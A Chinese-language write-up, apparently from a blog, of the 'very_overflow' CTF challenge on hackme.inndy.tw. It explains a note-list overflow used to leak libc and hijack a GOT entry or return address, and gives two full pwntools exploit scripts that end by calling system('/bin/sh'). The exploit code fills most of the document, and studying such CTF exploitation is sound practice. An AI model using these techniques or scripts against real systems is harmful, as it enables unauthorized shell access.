very_overflow

保护
add_note
edit_note

edit函数存在栈溢出,可以覆盖下一个note->next,从而泄漏libc,然后改strlen_got为system函数又或者更改返回地址然后rop到system('/bin/sh')

gef➤  x/10wx 0x0804A000
0x804a000:  0x08049f14  0xf7733918  0xf7724000  0xf759e590
0x804a010 :  0xf75b3070  0xf75b4b80  0x08048436  0xf75d33b0
0x804a020 <[email protected]>:  0xf756d540  0xf75b5240

gef➤  x/10wx 0xf7724000
0xf7724000 <_dl_runtime_resolve>:   0x8b525150  0x8b102454  0xe80c2444  0xffff97d0
0xf7724010 <_dl_runtime_resolve+16>:    0x240c8b5a  0x8b240489  0xc2042444  0x9066000c

由于要满足

所以我们将note[2]->next改为0x804a004然后修改atoi表,由于修改了_dl_runtime_resolve所以需要爆破几次才能成功

exp1:

from pwn import *
#context.log_level = 'debug'

def pwn():
    p = process('./very_overflow',env = {"LD_PRELOAD":"../libc-2.23.so.i386"})
    #p = remote('hackme.inndy.tw',7705)
    elf = ELF('./very_overflow')

    def add(data):
        p.sendlineafter('action: ','1')
        p.sendlineafter('note: ',data)

    def edit(id,data):
        p.sendlineafter('action: ','2')
        p.sendlineafter('edit: ',str(id))
        p.sendlineafter('data: ',data)

    def show(id):
        p.sendlineafter('action: ','3')
        p.sendlineafter('show: ',str(id))

    def dump():
        p.sendlineafter('action: ','4')

    def exit():
        p.sendlineafter('action: ','5')

    add('aaa\x00')
    add('bbb\x00')
    add('ccc\x00')
    edit(1,'a'*4 + p32(elf.got['atoi']))
    
    #leak libc
    show(3)
    p.recvuntil('note: ')
    atoi_addr = int(p.recvuntil('\n',drop = True),16)
    offset_atoi = 0x0002d230
    offset_system = 0x0003ad80
    offset_printf = 0x00049590
    offset_puts = 0x0005fb80
    offset_fgets = 0x0005e070
    offset_strlen = 0x000754f0
    offset___libc_start_main = 0x00018540
    offset_setvbuf = 0x00060240
    offset_memset = 0x00076f30
    libc_base = atoi_addr - offset_atoi
    log.success('libc base addr : 0x%x'%libc_base)
    system_addr = libc_base + offset_system
    log.success('system addr : 0x%x'%system_addr)
    printf_addr = libc_base + offset_printf
    puts_addr = libc_base + offset_puts
    _dl_runtime_resolve = libc_base + 0x1cf001
    fgets_addr = libc_base + offset_fgets
    strlen_addr = libc_base + offset_strlen
    start_main = libc_base + offset___libc_start_main
    setvbuf_addr = libc_base + offset_setvbuf
    memset_addr = libc_base + offset_memset


    #hijack strlen_got --> system_addr
    edit(1,'a'*4 + p32(0x0804a004) )
    payload = p32(_dl_runtime_resolve) + p32(printf_addr)
    payload += p32(fgets_addr) + p32(puts_addr)
    payload += p32(elf.got['__gmon_start__']) 
    # payload += p32(strlen_addr) + p32(start_main)
    # payload += p32(setvbuf_addr) + p32(memset_addr)
    payload += p32(system_addr)
    add(payload)

    add('/bin/sh\x00')
    #print p.recv()
    p.interactive()
    p.close()

while True:
    try:
        pwn()
    except Exception as e:
        print e

exp2:

from pwn import *
context.log_level = 'debug'
p = process('./very_overflow',env = {"LD_PRELOAD":"../libc-2.23.so.i386"})
#p = remote('hackme.inndy.tw',7705)
elf = ELF('./very_overflow')

def add(data):
    p.sendlineafter('action: ','1')
    p.sendlineafter('note: ',data)

def edit(id,data):
    p.sendlineafter('action: ','2')
    p.sendlineafter('edit: ',str(id))
    p.sendlineafter('data: ',data)

def show(id):
    p.sendlineafter('action: ','3')
    p.sendlineafter('show: ',str(id))

def dump():
    p.sendlineafter('action: ','4')

def exit():
    p.sendlineafter('action: ','5')

#leak stack addr
add('aa')
show(0)
p.recvuntil('note: ')
stack_addr = int(p.recvuntil('\n',drop = True),16)
rop_addr = stack_addr + 0x4204
#gdb.attach(p)
edit(0,'bbbb' + p32(elf.got['puts']))
show(2)

#leak libc
p.recvuntil('note: ')
puts_addr = int(p.recvuntil('\n',drop = True),16)
offset_puts = 0x0005fb80
offset_system = 0x0003ad80
offset_str_bin_sh = 0x15ba3f
libc_base = puts_addr - offset_puts
log.success('libc base addr : 0x%x'%libc_base)
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
log.success('system addr : 0x%x'%system_addr)
log.success('binsh addr : 0x%x'%binsh_addr)


#rop system('/bin/sh')
edit(0,'bbbb' + p32(rop_addr))
payload = p32(system_addr) + 'bbbb' + p32(binsh_addr)
edit(2,payload)
exit()

p.interactive()

你可能感兴趣的:(very_overflow)